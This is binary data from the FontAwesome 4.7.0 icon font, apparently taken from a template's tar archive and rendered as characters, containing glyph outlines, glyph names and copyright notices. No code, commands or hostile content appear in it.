3!26!54&#!"!#!"&5463!2"D/@@/D"?,,?pppp@@@ @^B@B^^BB^D6]W2@@2W]67MMppp@@@@@@@@n`@B^^BB^^       + ; K [ e u  #!"&54>3272"&462#!"&=463!2%#!"&=463!2+"&=46;25#!"&=463!2!3!26#!"&5463!2?,V,?"D/@@/D"pppp@@@ ^B@B^^BB^D7MM76]W2@@2W]֠ppp@@@@@@@@`@B^^BB^^      A  #"327.#"'63263#".'#"$&546$32326J9"65I).!1iCCu
+I\Gw\B!al݇yǙV/]:=B>9+<F+a[lePn[A&JR7t)+tHkFIK      e	    .    #"'&'>32%#!"&5463!2#"&54>54'&#"#"54654'.#"#"'.54>54'&'&543232654&432#"&54>764&'&'.54632 ?c'p& ?b1w{2V	?#&#9&CY'&.&#+B
: &65&*2w1GF1)2<)<'

(
BH=ӊ:NT :O	)4:i F~b`e!}U3i?fRUX|'&'&Ic&Q
	*2U.L6*/L:90%>..>%b>++z7ymlw45)0	33J@0!!TFL P]=GS-kwm	!*         (  %6&692?  $&6$ 	' al@lLlL,&EC
h$LlL          / 3 7 ;  %"&546734&'4&" 67   54746 #5#5#5ppF::FD<pp<D

PppP<dud<M- PppP -Mǅ9            / 3 7 ;  %"&546734&'4&" 67   54746 #5#5#5ppF::FD<pp<D

PppP<dud<M- PppP -Mǅ9            / 3 7 ;  %"&546734&'4&" 67   54746 #5#5#5ppF::FD<pp<D

PppP<dud<M- PppP -Mǅ9            / 3 7 ;  %"&5467534&'4&" 67   54746 #5#5#5ppF::FD<pp<D

PppP<dd<M- PppP -Mǅ9            	  + / 3 7  %"&54624&'4&" 67   54746 #5#5#5ppppD<pp<D

PppPOqqOM- PppP -Mǅ9         & . 6 > F N V ^ f n v ~      "/&4?.7&#"!4>3267622"&4"&46262"&42"&4462"$2"&42"&4"&46262"&4"&46262"&42"&4$2"&42"&42"&4



R

,H8Jfj QhjG^R,

!4&&4&Z4&&4&4&&4&4&&4& &4&&4 4&&4&4&&4&Z4&&4&4&&4&4&&4&4&&4&4&&4&&4&&4&Z4&&4&Z4&&4&



R

,[cGj  hQRJ'A,

&4&&4Z&4&&4Z&4&&4Z&4&&444&&4&&4&&4Z&4&&4Z&4&&4Z&4&&4&4&&4Z&4&&4Z&4&&4&&4&&4Z&4&&4Z&4&&4        % - 5 = E M }           +"&=#!"'+"&=&= "&4626"&462&"&462"&462&"&462&"&462#!"&=46;4632676/&?.7&#"!2 "&462&"&462&"&462"&462&"&462&"&462"&462&"&462"&462@?A A?@@R...R@`jlL.h)**$	%35K.....uvnu....@@jN **.t2#K5..R..R.        @ H q   '&'&54  &7676767654$'.766$76"&462&'&'&7>54.'.7>76ȵ|_ğyv/ۃ⃺k]
:Buq
CA
_kނXVobZZbnW |V	0 	Q2-
l}O		/	:1z	
q% zG
4(

6Roaą\<

)4	J}        %!!#!"&5463!2    ^B@B^^BB^ `@B^^BB^^       %#!"&=463!2 ^B@B^^BB^B^^BB^^           &  ))!32#!#!"&5463!463!2      `B^ ^B^B@B^^B`^BB^   ^B @B^B^^BB^`B^^       # 3  %764/764/&"'&"2?2#!"&5463!2














s^B@B^^BB^ג














@B^^BB^^     # ' 7  "/"/&4?'&4?62762!!%#!"&5463!2














   ^B@B^^BB^














 `@B^^BB^^          	!  $&6$ .2r`LlLf4LlL         # . C    &>"'&4762"/&4?62'"'&4762%'.>6.'.>6'>/>76&'&.'&7&'">?4'.677>7.>37654'&'67>776 $&6$ (4Z##&##&y"6&.JM@& "(XE*$+8
jT<l$3-V<2'.
-1%#e"!Z
+*)H	 8(j	#*-ƷVv/kh?'MlM$($R#&"#'#vZ@+&MbV$

G7--)

R2T
313dJ6@8lr2_5m/."G:=	)%5f0gt*2)?;CB66&, 	`48]USyLlL         G  6?>?3#'.'&!3!2>?3.'#!57>7'./5!27#'.#!"g%%D-!gg<6WWZe#1=/2*]Y3-,C1/Dx] VFIq-HD2NK'>*%R=f07=.fD]\|yu       , 0 > S e u  #2#"'&5<>323#3#&'#334'."#"+236'&54.#"5#37326#!"&5463!2		<	zzjk-L+ )[$8=".un/2 ^B@B^^BB^5cy	

(ݔI(8?C(3> #"($=@B^^BB^^     0K    S   &'.'&' ./674&$#">&>?>'76'#  "&#./.'7676767>76$w.~kuBR] T%z+",|ޟj<)(!(	~ˣzF8"{%%#5)}''xJF0"H[$%EJ#%.Gk29(B13"?@S)5" #9dmW";L65RA0@T.$}i`:f3A%%
BM<$q:)BD	aa%`]A&c|	Ms!
Z2}i[F&**
< ʣsc"J<&NsF  %  0 @ W m  6&'.6$.7>7$76".4>2.,&>6 '"'&7>=GV:e#:$?+%
q4g
&3hT`ZtQмQQмpAP1LK!:<}҈`dlb,9'

%%($!a3)W)xоQQоQQcQǡ-җe)Us2XD\ϼYd           / ? O _ o      #"=#"=4;543#"=#"=4;543#"=#"=4;543#"=#"=4;543#"=#"=4;543%#!"&5463!2++532325++532325++532325++532325++53232p00pp00pp00pp00pp008((88(@(8 0pp00pp00pp00pp00pp0          @(88((88          / Q    /&'%&/"&=.6?&?&'&6?'.>-#".6?'.>'&6'.>54627>%>76#"'%%6272Gf!)p&4&p)!fG272	*6	"472Gf!)p&4&p)!fG272"	6*	!k3j&3
%,*&&ր*9%
3&j3k!./!>>$,*!k3.j&3
%Ԝ9*&&ր*ǜ,%
3&j3k!*,$>>!/.           &  6.'&$	&76$76$PutۥiPuGxy
Զ[xy
-_v١eNuv١e	 =uʦ[t78X       
    & 6  ##'7-'%'&$  $6 $&6$ 31NE0gR=|||">"LlL^v!1f2iЂwgfZQQ^>"||||wLlL  &Z X b l w          .'&>'&'&".'.'&&'&'&7>767>67>7626&'&>&'&> '.7>.676'&'&'&'.67.>7>6&'&676&'&676.676&'&>&'&676'.>6/4-LJg-$	6)j2%+QF)b3FSP21DK2AW")")$??8A&AE5lZm=gG2Sw*&>$5jD GHyX/4F r	1	1""!l=6>	6
,5./'e
.*|Ed!u&&%&	&5d	))66@C&8B@qL?P^7	G-hI[q:<rS	U~97A_IR`gp1	1	;"("j?>"T6
,6 
   &        / `                                      L       w       Q'             	 
              A  	   ^    	     	     	  "   	    	  $&  	  _  	    	  y  	 	   	  *  	  < C o p y r i g h t   D a v e   G a n d y   2 0 1 6 .   A l l   r i g h t s   r e s e r v e d .  Copyright Dave Gandy 2016. All rights reserved.  F o n t A w e s o m e  FontAwesome  R e g u l a r  Regular  F O N T L A B : O T F E X P O R T  FONTLAB:OTFEXPORT  F o n t A w e s o m e  FontAwesome  V e r s i o n   4 . 7 . 0   2 0 1 6  Version 4.7.0 2016  F o n t A w e s o m e  FontAwesome  P l e a s e   r e f e r   t o   t h e   C o p y r i g h t   s e c t i o n   f o r   t h e   f o n t   t r a d e m a r k   a t t r i b u t i o n   n o t i c e s .  Please refer to the Copyright section for the font trademark attribution notices.  F o r t   A w e s o m e  Fort Awesome  D a v e   G a n d y  Dave Gandy  h t t p : / / f o n t a w e s o m e . i o  http://fontawesome.io  h t t p : / / f o n t a w e s o m e . i o / l i c e n s e /  http://fontawesome.io/license/                                                	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ab   cdefghijklmnopqrstuvwxyz{|}~  "	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRS TUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ 	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ glassmusicsearchenvelopeheartstar
star_emptyuserfilmth_largethth_listokremovezoom_inzoom_outoffsignalcogtrashhomefile_alttimeroaddownload_altdownloaduploadinboxplay_circlerepeatrefreshlist_altlockflag
headphones
volume_offvolume_down	volume_upqrcodebarcodetagtagsbookbookmarkprintcamerafontbolditalictext_height
text_width
align_leftalign_centeralign_rightalign_justifylistindent_leftindent_rightfacetime_videopicturepencil
map_markeradjusttinteditsharecheckmovestep_backwardfast_backwardbackwardplaypausestopforwardfast_forwardstep_forwardejectchevron_leftchevron_right	plus_sign
minus_signremove_signok_signquestion_sign	info_sign
screenshotremove_circle	ok_circle
ban_circle
arrow_leftarrow_rightarrow_up
arrow_down	share_altresize_fullresize_smallexclamation_signgiftleaffireeye_open	eye_closewarning_signplanecalendarrandomcommentmagnet
chevron_upchevron_downretweetshopping_cartfolder_closefolder_openresize_verticalresize_horizontal	bar_charttwitter_signfacebook_signcamera_retrokeycogscommentsthumbs_up_altthumbs_down_alt	star_halfheart_emptysignoutlinkedin_signpushpinexternal_linksignintrophygithub_sign
upload_altlemonphonecheck_emptybookmark_empty
phone_signtwitterfacebookgithubunlockcredit_cardrsshddbullhornbellcertificate
hand_right	hand_lefthand_up	hand_downcircle_arrow_leftcircle_arrow_rightcircle_arrow_upcircle_arrow_downglobewrenchtasksfilter	briefcase
fullscreengrouplinkcloudbeakercutcopy
paper_clipsave
sign_blankreorderulolstrikethrough	underlinetablemagictruck	pinterestpinterest_signgoogle_plus_signgoogle_plusmoney
caret_downcaret_up
caret_leftcaret_rightcolumnssort	sort_downsort_upenvelope_altlinkedinundolegal	dashboardcomment_altcomments_altboltsitemapumbrellapaste
light_bulbexchangecloud_downloadcloud_uploaduser_mdstethoscopesuitcasebell_altcoffeefoodfile_text_altbuildinghospital	ambulancemedkitfighter_jetbeerh_signf0fedouble_angle_leftdouble_angle_rightdouble_angle_updouble_angle_down
angle_leftangle_rightangle_up
angle_downdesktoplaptoptabletmobile_phonecircle_blank
quote_leftquote_rightspinnercirclereply
github_altfolder_close_altfolder_open_alt
expand_altcollapse_altsmilefrownmehgamepadkeyboardflag_altflag_checkeredterminalcode	reply_allstar_half_emptylocation_arrowcrop	code_forkunlink_279exclamationsuperscript	subscript_283puzzle_piece
microphonemicrophone_offshieldcalendar_emptyfire_extinguisherrocketmaxcdnchevron_sign_leftchevron_sign_rightchevron_sign_upchevron_sign_downhtml5css3anchor
unlock_altbullseyeellipsis_horizontalellipsis_vertical_303	play_signticketminus_sign_altcheck_minuslevel_up
level_down
check_sign	edit_sign_312
share_signcompasscollapsecollapse_top_317eurgbpusdinrjpyrubkrwbtcfile	file_textsort_by_alphabet_329sort_by_attributessort_by_attributes_altsort_by_ordersort_by_order_alt_334_335youtube_signyoutubexing	xing_signyoutube_playdropboxstackexchange	instagramflickradnf171bitbucket_signtumblrtumblr_signlong_arrow_downlong_arrow_uplong_arrow_leftlong_arrow_rightwindowsandroidlinuxdribbleskype
foursquaretrellofemalemalegittipsun_366archivebugvkweiborenren_372stack_exchange_374arrow_circle_alt_left_376dot_circle_alt_378vimeo_square_380plus_square_o_382_383_384_385_386_387_388_389uniF1A0f1a1_392_393f1a4_395_396_397_398_399_400f1ab_402_403_404uniF1B1_406_407_408_409_410_411_412_413_414_415_416_417_418_419uniF1C0uniF1C1_422_423_424_425_426_427_428_429_430_431_432_433_434uniF1D0uniF1D1uniF1D2_438_439uniF1D5uniF1D6uniF1D7_443_444_445_446_447_448_449uniF1E0_451_452_453_454_455_456_457_458_459_460_461_462_463_464uniF1F0_466_467f1f3_469_470_471_472_473_474_475_476f1fc_478_479_480_481_482_483_484_485_486_487_488_489_490_491_492_493_494f210_496f212_498_499_500_501_502_503_504_505_506_507_508_509venus_511_512_513_514_515_516_517_518_519_520_521_522_523_524_525_526_527_528_529_530_531_532_533_534_535_536_537_538_539_540_541_542_543_544_545_546_547_548_549_550_551_552_553_554_555_556_557_558_559_560_561_562_563_564_565_566_567_568_569f260f261_572f263_574_575_576_577_578_579_580_581_582_583_584_585_586_587_588_589_590_591_592_593_594_595_596_597_598f27euniF280uniF281_602_603_604uniF285uniF286_607_608_609_610_611_612_613_614_615_616_617_618_619_620_621_622_623_624_625_626_627_628_629uniF2A0uniF2A1uniF2A2uniF2A3uniF2A4uniF2A5uniF2A6uniF2A7uniF2A8uniF2A9uniF2AAuniF2ABuniF2ACuniF2ADuniF2AEuniF2B0uniF2B1uniF2B2uniF2B3uniF2B4uniF2B5uniF2B6uniF2B7uniF2B8uniF2B9uniF2BAuniF2BBuniF2BCuniF2BDuniF2BEuniF2C0uniF2C1uniF2C2uniF2C3uniF2C4uniF2C5uniF2C6uniF2C7uniF2C8uniF2C9uniF2CAuniF2CBuniF2CCuniF2CDuniF2CEuniF2D0uniF2D1uniF2D2uniF2D3uniF2D4uniF2D5uniF2D6uniF2D7uniF2D8uniF2D9uniF2DAuniF2DBuniF2DCuniF2DDuniF2DEuniF2E0uniF2E1uniF2E2uniF2E3uniF2E4uniF2E5uniF2E6uniF2E7_698uniF2E9uniF2EAuniF2EBuniF2ECuniF2EDuniF2EE                                   =    O<0    1h                                                                                                                                                                                                                                                                                                                                                    system/helix3/assets/fonts/FontAwesome.otf                                                          0000705                 00000407230 15242051520 0014660 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       OTTO 
    CFF 9s7    EPAR  ( l   0OS/22z^    `cmapǢT   head    6hhea
 P   $hmtxJ+ t  
maxpP  
`   name>$# 
h  post    x      FontAwesome C 	 U6 U622        " , 0 4 < > E G M T \ _ e h m q y }                  #)4>HT_lp{
'4=GRYfoy&,39COVcoz"/5;FPUZes}&+16<EOW_hmqv|)04=DPX\aju(,26GYhy%16;>EMUckox				$	5	G	V	g	l	p	v													




&
*
-
0
3
6
9
<
?
B
F
O
_
c
u












 &5BQafmty !%)-159=AHLPTX\`dhlptx|%,37;?CGKOVZ^bfjnrvz~	!%)-159=AEJNRVZ^bfjnrvz~
"&*.26:>BFJNRVZ^bfjnrvz~
"&*.29@GNU\cjqx '.5<CJQX_fmt{  '.5<kvglassmusicsearchenvelopeheartstarstar_emptyuserfilmth_largethth_listokremovezoom_inzoom_outoffsignalcogtrashhomefile_alttimeroaddownload_altdownloaduploadinboxplay_circlerepeatrefreshlist_altlockflagheadphonesvolume_offvolume_downvolume_upqrcodebarcodetagtagsbookbookmarkprintcamerafontbolditalictext_heighttext_widthalign_leftalign_centeralign_rightalign_justifylistindent_leftindent_rightfacetime_videopicturepencilmap_markeradjusttinteditsharecheckmovestep_backwardfast_backwardbackwardplaypausestopforwardfast_forwardstep_forwardejectchevron_leftchevron_rightplus_signminus_signremove_signok_signquestion_signinfo_signscreenshotremove_circleok_circleban_circlearrow_leftarrow_rightarrow_uparrow_downshare_altresize_fullresize_smallexclamation_signgiftleaffireeye_openeye_closewarning_signplanecalendarrandomcommentmagnetchevron_upchevron_downretweetshopping_cartfolder_closefolder_openresize_verticalresize_horizontalbar_charttwitter_signfacebook_signcamera_retrokeycogscommentsthumbs_up_altthumbs_down_altstar_halfheart_emptysignoutlinkedin_signpushpinexternal_linksignintrophygithub_signupload_altlemonphonecheck_emptybookmark_emptyphone_signtwitterfacebookgithubunlockcredit_cardrsshddbullhornbellcertificatehand_righthand_lefthand_uphand_downcircle_arrow_leftcircle_arrow_rightcircle_arrow_upcircle_arrow_downglobewrenchtasksfilterbriefcasefullscreennotequalinfinitylessequalgrouplinkcloudbeakercutcopypaper_clipsavesign_blankreorderulolstrikethroughunderlinetablemagictruckpinterestpinterest_signgoogle_plus_signgoogle_plusmoneycaret_downcaret_upcaret_leftcaret_rightcolumnssortsort_downsort_upenvelope_altlinkedinundolegaldashboardcomment_altcomments_altboltsitemapumbrellapastelight_bulbexchangecloud_downloadcloud_uploaduser_mdstethoscopesuitcasebell_altcoffeefoodfile_text_altbuildinghospitalambulancemedkitfighter_jetbeerh_signf0fedouble_angle_leftdouble_angle_rightdouble_angle_updouble_angle_downangle_leftangle_rightangle_upangle_downdesktoplaptoptabletmobile_phonecircle_blankquote_leftquote_rightspinnercirclereplygithub_altfolder_close_altfolder_open_altexpand_altcollapse_altsmilefrownmehgamepadkeyboardflag_altflag_checkeredterminalcodereply_allstar_half_emptylocation_arrowcropcode_forkunlink_279exclamationsuperscriptsubscript_283puzzle_piecemicrophonemicrophone_offshieldcalendar_emptyfire_extinguisherrocketmaxcdnchevron_sign_leftchevron_sign_rightchevron_sign_upchevron_sign_downhtml5css3anchorunlock_altbullseyeellipsis_horizontalellipsis_vertical_303play_signticketminus_sign_altcheck_minuslevel_uplevel_downcheck_signedit_sign_312share_signcompasscollapsecollapse_top_317eurgbpusdinrjpyrubkrwbtcfilefile_textsort_by_alphabet_329sort_by_attributessort_by_attributes_altsort_by_ordersort_by_order_alt_334_335youtube_signyoutubexingxing_signyoutube_playdropboxstackexchangeinstagramflickradnf171bitbucket_signtumblrtumblr_signlong_arrow_downlong_arrow_uplong_arrow_leftlong_arrow_rightapplewindowsandroidlinuxdribbleskypefoursquaretrellofemalemalegittipsun_366archivebugvkweiborenren_372stack_exchange_374arrow_circle_alt_left_376dot_circle_alt_378vimeo_square_380plus_square_o_382_383_384_385_386_387_388_389uniF1A0f1a1_392_393f1a4_395_396_397_398_399_400f1ab_402_403_404uniF1B1_406_407_408_409_410_411_412_413_414_415_416_417_418_419uniF1C0uniF1C1_422_423_424_425_426_427_428_429_430_431_432_433_434uniF1D0uniF1D1uniF1D2_438_439uniF1D5uniF1D6uniF1D7_443_444_445_446_447_448_449uniF1E0_451_452_453_454_455_456_457_458_459_460_461_462_463_464uniF1F0_466_467f1f3_469_470_471_472_473_474_475_476f1fc_478_479_480_481_482_483_484_485_486_487_488_489_490_491_492_493_494f210_496f212_498_499_500_501_502_503_504_505_506_507_508_509venus_511_512_513_514_515_516_517_518_519_520_521_522_523_524_525_526_527_528_529_530_531_532_533_534_535_536_537_538_539_540_541_542_543_544_545_546_547_548_549_550_551_552_553_554_555_556_557_558_559_560_561_562_563_564_565_566_567_568_569f260f261_572f263_574_575_576_577_578_579_580_581_582_583_584_585_586_587_588_589_590_591_592_593_594_595_596_597_598f27euniF280uniF281_602_603_604uniF285uniF286_607_608_609_610_611_612_613_614_615_616_617_618_619_620_621_622_623_624_625_626_627_628_629uniF2A0uniF2A1uniF2A2uniF2A3uniF2A4uniF2A5uniF2A6uniF2A7uniF2A8uniF2A9uniF2AAuniF2ABuniF2ACuniF2ADuniF2AEuniF2B0uniF2B1uniF2B2uniF2B3uniF2B4uniF2B5uniF2B6uniF2B7uniF2B8uniF2B9uniF2BAuniF2BBuniF2BCuniF2BDuniF2BEuniF2C0uniF2C1uniF2C2uniF2C3uniF2C4uniF2C5uniF2C6uniF2C7uniF2C8uniF2C9uniF2CAuniF2CBuniF2CCuniF2CDuniF2CEuniF2D0uniF2D1uniF2D2uniF2D3uniF2D4uniF2D5uniF2D6uniF2D7uniF2D8uniF2D9uniF2DAuniF2DBuniF2DCuniF2DDuniF2DEuniF2E0uniF2E1uniF2E2uniF2E3uniF2E4uniF2E5uniF2E6uniF2E7_698uniF2E9uniF2EAuniF2EBuniF2ECuniF2EDuniF2EECopyright Dave Gandy 2016. All rights reserved.FontAwesome   [ _       "+/37;TX_dhn#'Prz.26:@DHM%*.48@ENUZ^} /3PW^cgl8<FJCUajov{			@	J	Z											


&
*
.
:
A
T
m
r
}








;BFLTX_cinsz .38@FKPp|&Edmz%1=BGNU[e
#)-7=CJO]kr):PUblqv| ",5:BJOTgz$6HZ]hs{
 &,6@JTX`hnt|)8@OSX\bhp~"/4;?FLSW\hmt',2=HS^elw*
A
T&fAV
TlfPzz
 P
4!
t

q
q
bt&
y}}y33%33
`zT~~4]
Tg@Z
4

R
,T[@
<<4
,
^2
%%%%%%3
T<
nh@;TN
TITN
C
KFKk6
?J

:
K,:
y}Tj
5
/W
K$'T$V
L
v


L
6
f
y}}yy}}ylz||z%
1

KTTY=|zKz||zKz|N

!5
!

ff(
G

Q
3|T|T|T
T
T|zs
R3&'
'
<
@A
G
^
[=
T /
3
c-`V}hn"Bv
g
OG
`E}n\>lg
,hh@@h EQP
|z@z||zTz||zz||zTz|7
F
x
3CDRRDDuy
;
;
5!Jb 
h

5
/
TT +
-tzuxu[Brlmyz~ 5qsUhnnhhnnh
tttT
 y}}yKy}?
j3CC

5;(=ZXWG/9;/_Mknmn9:YIƑP`q~d_ircrriiiy
@H-R
'
 
T 1<t0
lnl||}_zob^^bzM<M<v	o_}||r

/0
]}
]

EQy
v(
W
T/T

jih{t*
<<<
<+B
AS i^wvhvi^S AE]#'
K(
D
Fm3'!%Ơ#xM'nqwdo^]
t
x
1!!EQQE5i'Ty}
tV`

K
T


t
kb
K<z
X
@3CC3@#P
nhQ
h/:nh

:

;xtulTK
1
0
8i8_dd_~~xzƅy"9O9%9)o'0qi?@hh?@irC
TFKkTr
P
;;YS<!yots{tqT/Tg5[
F

s
*
41
ZZrwh)S

-
vvzz:
tttttt
1
7
Ԏ8
Jn+tmy;
[8

hn>~w~~w~K
=+tX
@]
@gZ
tV``V;
;`L< xra
YW
@3&
~~w~@5!}yvKyx}zyn
T7rrcr~g
hnnh
YYG
P
~********=
4
4)
.@([
h
P
vT~z$j
+[
<<5!I
4*
A
C
7
r
C
7
@r
b
!6gTE 
ˋ h3/{V=n\n]9
vx{zz{X
CZ7)D
T}yT8TC
T7
Tr
]][
1


7Uf@m
 
<
ZZZZ{B
rrz{
+
T
<Z:wBD$$D(=`hZTA

/0
nh&&&&&&{Vv7+42yqpV``VV`J
Y
MY
}
>
|znhyyrrrrypttp&pt15
tv'
K(

;;g

$4y~MQsQDntyyt
Fte11eBBT2

rI
F
y'&K
w__c4444p]R
GTTX
x]]
 83
wrrhh@;fveK\xcikvss]tRat7+447&&
7
V(-
hnD$$D
,
}tP
`=db97Bxt3
?Lg__gg__ga
`VC3~w]}
y6%6-	_$cX~
TRV22VV22VP@zyzz 
s/Avzz{b
z-

ft &
3

]]EGxZnyt P
P
++P,ʲ,

_hmx2


ˋ


d44
T[`M`My}}yT,V;;0
&&T
3

t'.
%@p
)qt{tsoys%$333vK
44\~v
}jiiC@@x~C
Kw5 !4wkz||,$P++-



gs}}yf
#ET@)Wbit
S
4Xwmxyjh  ofZedZdW
fr
rsyy'& h@v       }                5  9               2 I   8    8   !       ~ 	 	 	I 	 
M 
 
 ? y    *  B P  | 8 8 ;  l   ] 5    m     + \   <     b -  G _ y     ' > U    > c   R   !0 ! ", "^ " #0 # $ $q $ $ % %~ &5 & 'A ' ) ) *J + + , ,m , , - . .1 . . . /P / 0 0 19 2 2 4 5q 5 5 6< 6 71 7x 7 8h 9 :S ;x < <T < = = = ? ? @! @ Aj A B C D E F G HJ H I IT N N N O" Ox P P P P P R- Rv R T UG V V V V W X1 YX Z [+ [ \C ] ] ] ^ _+ _9 _G _o _ _ _ _ _ ` a aG b6 b b cP c d' d eN fG f f g> g h h i- i i j  j kw l% l m7 m m m n$ n; nO nc n n n n o" o o p p& p> pX q q
 q} rI r s8 s: s< s s s t u v< wI wh w xG x y  y z& {6 {u { | | | } ~ ~ ~ ~  C    M   9  C |   2  8 V   P  	 c   S    O   I    # |   L     `    m 
   P o    1   * x     4 f .  H   U \  1      ' C w   [  W     (    b    ;    J {  .  ŝ Q ƭ f Ǯ *   ʛ ˗ ̉ ͌   | ` ϫ Z ҝ (  J տ   ׻   p 9   D  9        g    t  g  ,     q  ?   o ]  1 a J C0g	$

NF.yq4+M< !>!";"h"##$b%g&D&''''''(()*"*++,?,p,-F-U4>45~566636>67	8"99:-;F;<9<='=\==>?Y@RABDEAFGH(HIImKGLLM^NZOPxQ@RS%SlSVWX:XRXXYY]YZZ[+[n[\d\]g^Y^_2_`5`aacBdd;dWdvde!ffgoghNhikj@jklmnopqhrtukvYwfxzV{r|}/~~Uu[tJ~3J#c$;Tt TT4P
4  c
z..ȮhKh<Nh-

-N<vhNKhN<h..Nhv<NNvȮ-
-hڠvNv44T
44V``VT<
44TA
44M
0Tyuuyyuuyy?j`,4G yu~8գYSKkj>h3c#^uiƭR@2A
4
FMffMZnnw
v
x
P
 `Vc~ofa[!
Y!
 

T@
b@
suw#$L>$#69JX"!!`V+/EE+V1RF
_r
Z o
p]tksu[ztvUZ
tq9[[9:QQ:Mqksu[ztvUZ
ZJ
J&		&a
)|
s
Kw 
 t  
w4X
]
g@
 v


YT3
Y`VV``VTV`Գ

T3
YT3
TV``VT;
 YTV``VT;
T\TV``VT;
^y
$%
IVhhvjyy

IIVV V
V
ttC
KFttFKktt
r
tt>
@

 V

FKkr
@


pP
tW&S:aR`S:a))6z
6)õ`a;R`W&tPQEEQQEEQY
8
&8
&T8
T&8
@
e
{
zK}zaEV" nmloL{yry}{{OJNll~n|i&js^^[{m~mkNo|y|rz{Kpijki\f_i]QM[!|Lz~rǑ̒Ȫ 'fgiMm([popHH4
wOVVOcZwE;L1Hu
 v
tnnt/
s~oJ,zW`aGahc~v~AHH

w
!4t4tt4tt
to
T
4#
)vTV{||||Ng|5ppTy~}y:y~Tppur5|gccn_Tz}y}}zT 
T
dgf[wXX[fe6
tqTKTTT
TTx44t8
zT~~f9x44t8(&
T
T9vT
,T,ThXhYm}}chhcqj}}iVgv
wxrwwvtL#
P

!SY
ylD&)'C3$
Y4K
Ti
t}yT|}zcesd,.9/F-
1T5
T
"Q>W
"SX5z|[,9FZ3
Ti
9
"!
!

T@

G
vTi
TT
T+3
kT^^^^Tkcv
]btkr
Kg
_=1lno1"-SKq~n}s{x}zsz.;3n L vTTVT/WW/!(ZMj:kD
L
k+8V=_GxɁHKxMG_8+MrrN-hnog??go Gw_
rN-hnog??go_QPox}yCQ(Csyrp}t{xo^PQ_Kn{}|zx8S``*S8qxozo||{}s}|{n.K



x





 0m 8
vvʪʪꪫʪ骫kihvvvijiʌ
1

w
ʓ
ʓ
  1Y1Q
kll ʙ
F? ijivvviijz
)z
_^X*DtcX_^sjii}jttjjhsW
 m
g|vtywxog`vf/TFw.qra\zzzaM{tswxyzzVc,sj|wut{tv\h2p]yx}xzuxWi:mY{pvzs~{sww}e_^#:/r8" 

4<
4K4"Kme,,eBV4
K"44"4kt4:4t>
)T33333333T4tXr=EE=UIrXt
tK

T/
 ,Qiep%/,xxx(((#Ɏ	wR'VbgfVpoqqq{\/j}}Yh^?DFG@EatV@ha %-n<5scsŔO5*VJM(0x[[_}~􊢋%;AHW{'QbgfgFIGf=R!G v^]^z8'n\PuH#hPMqJK{-!ߜv`ЊxġMMN[ĐơϦԖУ!!!x$ǁΓm`r;ni~GhftnOlFKwz6-;p6p_ph6hpo;_}oh6h6}_
Ǐ\|}Cy	^^^LuZ
qmeptcCDCm
ǐ]|zb||}3mrS
667W,"m~yv}u] y]hvp|zwwzv{y{ |phm
R <0
R <P
0
R<
i
m
R<0
R<i
m
1 <0
1 <P
0
1<
i
m
H
H
H
t## @w
t\
 
>
tTdw
TiFy
tdv0{tz{~'&9*
TT33T&:''~
)TTTn4444Tt|z@
4kX
S
@g@
m 
D~~UT44~sjiij}st:944::W



{


NLT_p xJ
 
vPPϠHGwwsrP
mXXj:bkkcv`~:jX;`Y;l-&PyyQ
4S+,,||~KKXfccQ+4444400f,,fMff// 
gt}{|y~wjX|zh
"Q2{zt{tqT4 7\3ulz* p4Tqt
 
Jw
tKK3CC

G
fccQ{kkYkkkYkkkkYkBBk
C




-
4=
1


gsvZvZ SZvZZZZrZhlvlr|hh|e
P
@g

@g

i
e
P
@ 
ZwZZ2ZZrwhZ
P

Zw
Z

@w}rrwrZZ

%L.2::zzzzr::2%L'2zz::::
zz
ph
H 
Z
hn
 
e
}2zz11zIIII{zzz1IIII
IIII1zzz{IIII{zv 
P
zz{zM
vv,+M
1zz6T
4y}}yTy}T
T4,#Q?`\pnZtҫȧPKgjzx}wy\O~#7@TKT 
ttt4
4:
T
+y}4j
4y}}yTy}4
44 

`$$`$`$
$$$`$<Tg
#Zk==k##kZ==Zk#<#k==kZ##k==k#i
]&&

&&&&&&kK#
g2%''%%
::!8#
t
 %56&{SjjQh[=<<=>
>KwP
^CT}s@skiij}sstv
jt 
}sTӸKw~ssjiik}ss@@stjtTC^OGGOTsv
js@tE @wKsjiij~stsv
ks@sTC^ǸTs @KT@sjiij}ttT

Ttjiij}tsA@sv
jt t W
@j{t,Qa! KtkvqCt

e
t
ԛ
4
*
<<<
<+!y}|z
|RT|y.}|yMx|zp
4HhnzhThnhTThS\V`fy~5V``VV5`VRL'HMoZd99dMH''e
L(
$4A
4u
v߈
/J7I[^_[Z_~}yhn{x(HZf7p\XTHaG-whhiwVQZ:#vz]l`L{l{,+\^˒1
t4C
FKk@r
CN.ETiCkhT$T$?LL?'0cGv=<
vc0;'dquuq--]
LaaLvtrrtvLa`Lv$T$]D'#5'0cGv=<#7quuq-.]
Sv-yU*PNO_Z~wrsrswH7*V3ziU{QgegSA:NT~=L=&0ErAuX5y}|y
}R|yR
~|yMx|z]pkou`\\`qbuud[ddsP
uz``K4K++44-3V 
+*QQ듔VV땓4L554K 
4
˫44˫

44Tt
Tt
Tt44K

Gt4
tK

Gq
q
bt."&Ft8t++KQc-b.T5MKTz|sRrQnS SL0t8tĤŨ Ty}v0%%_Ib	\;COLD|yz|rs{A0%e
P
T%Ki``iK%,QQ,g

/g

/
arzyzyrrbr:9r
:9k
lr:9:9rrbrzy
zy)
4TT@yxxy}||g
T44rdTr
4g
T44fTF4TTB
||} 

 pQEEQQEEQQEEQQEEQg
OH
`E{l^@lg
,h v
4
4
&Q)WWXg3
UGQ {y|ss^
 

 /
T


14=
1i
 



m}
t  2o`gfbnh./>p+>|Ri/8Crb{Zja_qV Om|
PC44T%V``V
L
teP

T

 h P

TTTT
noqqon
Tft//tq:v++n+*mm*+n33Väyppv-)mvv

>{
ERQDEQc
ERQDEQQE9},~
 q
2srqt-}}N}}~ZTYprr~npwefc~rrq/s~|~M}~,soppndmfnen
 s
-}N1kmo/
`

>a
B`

aNty6$7mF
dI.3WW-
hn
fo1\s\ko{yxx<^
U/SkW?Ÿj-@	
+6	OGo
	Dɝ·lZ'#ik}ts')2OKebh`i_mdG1dqhWm]a"WY
